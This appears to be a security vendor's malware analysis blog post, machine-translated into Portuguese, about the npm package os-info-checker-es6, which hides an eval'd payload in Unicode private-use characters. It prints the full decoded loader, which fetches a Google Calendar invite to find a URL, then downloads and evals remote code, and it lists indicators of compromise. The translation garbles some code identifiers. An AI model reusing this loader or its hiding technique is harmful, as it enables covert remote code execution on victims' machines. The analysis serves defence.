Em 19 de março de 2025, descobrimos um pacote chamado os-info-checker-es6
e ficámos surpreendidos. Percebemos que não estava a fazer o que dizia na embalagem. Mas o que é que se passa? Decidimos investigar o assunto e, inicialmente, chegámos a alguns becos sem saída. Mas a paciência compensa e acabámos por obter a maioria das respostas que procurávamos. Também ficámos a conhecer os PUAs Unicode (não, não são artistas de engate). Foi uma montanha-russa de emoções!
O que é o pacote?
O pacote não dá muitas pistas devido à falta de um LEIAME
ficheiro. Aqui está o aspeto do pacote no npm:

Não é muito informativo. Mas parece que vai buscar informações sobre o sistema. Vamos em frente.
O código malcheiroso denuncia-o
O nosso pipeline de análise levantou imediatamente muitas bandeiras vermelhas a partir do pacote pré-instalação.js
devido à presença de um ficheiro eval()
com entrada codificada em base64.

Vemos o eval(atob(...))
call. Isso significa "Decodificar uma string base64 e avaliá-la", ou seja, executar código arbitrário. Isso nunca é um bom sinal. Mas qual é a entrada?
A entrada é uma cadeia de caracteres que resulta da chamada de descodificar()
em um módulo nativo do Node fornecido com o pacote. A entrada para essa função se parece com... Apenas um |
?! O quê?
Temos aqui várias questões importantes:
- O que é que a função de descodificação está a fazer?
- O que é que a descodificação tem a ver com a verificação das informações do sistema operativo?
- Porque é que
eval()
'ing-lo? - Porque é que a única entrada é um
|
?
Vamos mais longe
Decidimos fazer engenharia reversa do binário. É um pequeno binário Rust que não faz muita coisa. Inicialmente esperávamos ver algumas chamadas a funções para obter informações do SO, mas não vimos NADA. Pensamos que talvez o binário estivesse escondendo mais segredos, fornecendo a resposta para nossa primeira pergunta. Mais sobre isso depois.
Mas então, o que se passa com o facto de a entrada para a função ser apenas um |
? É aqui que as coisas ficam interessantes. Essa não é a entrada real. Copiamos o código para outro editor, e o que vemos é:

Womp-womp! Quase que se safaram. O que vemos são os chamados caracteres Unicode "Private Use Access". São códigos não atribuídos na norma Unicode, reservados para uso privado, que as pessoas podem utilizar para definir os seus próprios símbolos para a sua aplicação. São intrinsecamente não imprimíveis, pois não significam nada intrinsecamente.
Neste caso, o descodificar
no binário nativo do Node decodifica esses bytes em caracteres ASCII codificados em base64. Muito inteligente!
Vamos dar uma volta com ele
Então, decidimos examinar o código real. Felizmente, ele salva o código executado em um arquivo run.txt. E é apenas isto:
consola.log('Verificar');
Isso é muito desinteressante. O que é que eles estão a fazer? Porque é que estão a fazer todo este esforço para esconder este código? Ficámos atónitos.
Mas depois...
Nós começamos a ver pacotes publicados que dependiam deste pacote, um deles sendo do mesmo autor. Eles eram:
saltar
(19 de março de 2025)- É uma cópia do pacote
vue-skip-to
.
- É uma cópia do pacote
vue-dev-serverr
(31 de março de 2025)- É uma cópia do repositório https://github.com/guru-git-man/first.
vue-dummyy
(3 de abril de 2025)- É uma cópia do pacote
vue-dummy
.
- É uma cópia do pacote
vue-bit
(3 de abril de 2025)- Está a fingir ser o pacote
@teambit/bvm
. - Não contém qualquer código efetivo.
- Está a fingir ser o pacote
Todos eles têm em comum o facto de acrescentarem os-info-checker-es6
como uma dependência, mas nunca chamar o descodificar
função. Que desilusão. Não sabemos o que os atacantes pretendiam fazer. Nada aconteceu durante algum tempo até que o os-info-checker-es6
O pacote foi novamente atualizado após uma longa pausa.
FINALMENTE
Há algum tempo que este caso não me saía da cabeça. Não fazia sentido. O que é que eles estavam a tentar fazer? Ter-me-á escapado algo óbvio quando descompilei o módulo nativo do Node? Porque é que um atacante iria queimar esta nova capacidade tão cedo? A resposta veio em 7 de maio de 2025, quando uma nova versão do os-info-checker-es6
, versão 1.0.8
, saiu. O pré-instalação.js
mudou.

Oh, olha, a cadeia ofuscada é muito mais longa! Mas a avaliação
é comentada. Assim, mesmo que exista um payload malicioso na string ofuscada, ele não será executado. O quê? Executámos o descodificador numa caixa de areia e imprimimos a cadeia descodificada. Aqui está ela depois de um pouco de embelezamento e anotações manuais:
const https = require('https');
const fs = require('fs');
/**
* Extract the first capture group that matches the pattern:
* ${attrName}="([^\"]*)"
*/
const ljqguhblz = (html, attrName) => {
const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // ="([^"]*)"
return html.match(regex)[1];
};
/**
* Stage-1: fetch a Google-hosted bootstrap page, follow redirects and
* pull the base-64-encoded payload URL from its data-attribute.
*/
const krswqebjtt = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
// Handle HTTP 30x redirects manually so we can keep extracting headers.
if (res.status !== 200) {
const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'
return krswqebjtt(redirect, cb);
}
const body = await res.text();
cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
console.log(err);
cb(err);
}
};
/**
* Stage-2: download the real payload plus.
*/
const ymmogvj = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
const body = await res.text();
const h = res.headers;
cb(null, {
acxvacofz : body, // base-64 JS payload
yxajxgiht : h.get(atob('aXZiYXNlNjQ=')), // 'ivbase64'
secretKey : h.get(atob('c2VjcmV0a2V5')), // 'secretKey'
});
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
cb(err);
}
};
/**
* Orchestrator: keeps trying the two stages until a payload is successfully executed.
*/
const mygofvzqxk = async () => {
await krswqebjtt(
atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUUcugH9ZUkx9
async (err, link) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
await ymmogvj(
atob(link),
async (err, { acxvacofz, yxajxgiht, secretKey }) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
if (acxvacofz.length === 20) {
return eval(atob(acxvacofz));
}
// Execute attacker-supplied code with current user privileges.
eval(atob(acxvacofz));
}
);
}
);
};
/* ---------- single-instance lock ---------- */
const gsmli = `${process.env.TEMP}\\pqlatt`;
if (fs.existsSync(gsmli)) process.exit(1);
fs.writeFileSync(gsmli, '');
process.on('exit', () => fs.unlinkSync(gsmli));
/* ---------- kick it all off ---------- */
mygofvzqxk();
/* ---------- resilience ---------- */
let yyzymzi = 0;
process.on('uncaughtException', async (err) => {
console.log(err);
fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));
if (++yyzymzi > 10) process.exit(0);
await new Promise(r => setTimeout(r, 1000));
mygofvzqxk();
});
Viste o URL para o Google Calendar no orquestrador? Isso é uma coisa interessante de se ver num malware. Muito interessante.
Estão todos convidados!
Eis o aspeto da ligação:

Um convite de calendário com uma cadeia de caracteres codificada em base64 como título. Lindo! A foto de perfil da pizza fez-me esperar que talvez fosse um convite para uma festa de pizza, mas o evento está marcado para 7 de junho de 2027. Não posso esperar tanto tempo por uma pizza. No entanto, vou querer outra string codificada em base64. Aqui está o que ela descodifica:
http://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D
Num beco sem saída... outra vez
Esta investigação tem sido cheia de altos e baixos. Pensámos que as coisas estavam num beco sem saída, mas depois voltaram a aparecer sinais de vida. Estivemos tão perto de descobrir a REAL intenção maliciosa do programador, mas não conseguimos.
Não se enganem - esta foi uma nova abordagem à ofuscação. Seria de esperar que qualquer pessoa que dedicasse tempo e esforço a fazer algo deste género utilizasse as capacidades que desenvolveu. Em vez disso, parece que não fizeram nada com isso, mostrando a sua mão.
Como resultado, o nosso motor de análise detecta agora padrões como este, em que um atacante tenta esconder dados em caracteres de controlo não imprimíveis. Este é outro caso em que tentar ser inteligente, em vez de dificultar a deteção, na verdade cria mais sinais. Porque é tão invulgar que se destaca e acena com um grande sinal a dizer: "NÃO ESTOU A FAZER NADA DE BOM". Continuem com o ótimo trabalho. 👍
Indicadores de compromisso
Pacotes
os-info-checker-es6
saltar
vue-dev-serverr
vue-dummyy
vue-bit
IPs
- 140.82.54[.]223
URLs
- https://calendar.app[.]google/t56nfUUcugH9ZUkx9
Reconhecimento
Durante esta investigação, fomos ajudados pelos nossos grandes amigos da Vector35, que nos forneceram uma licença de teste da sua ferramenta Binary Ninja para garantir que compreendíamos totalmente o módulo nativo do Node. Um grande obrigado à equipa pelo seu excelente produto. 👏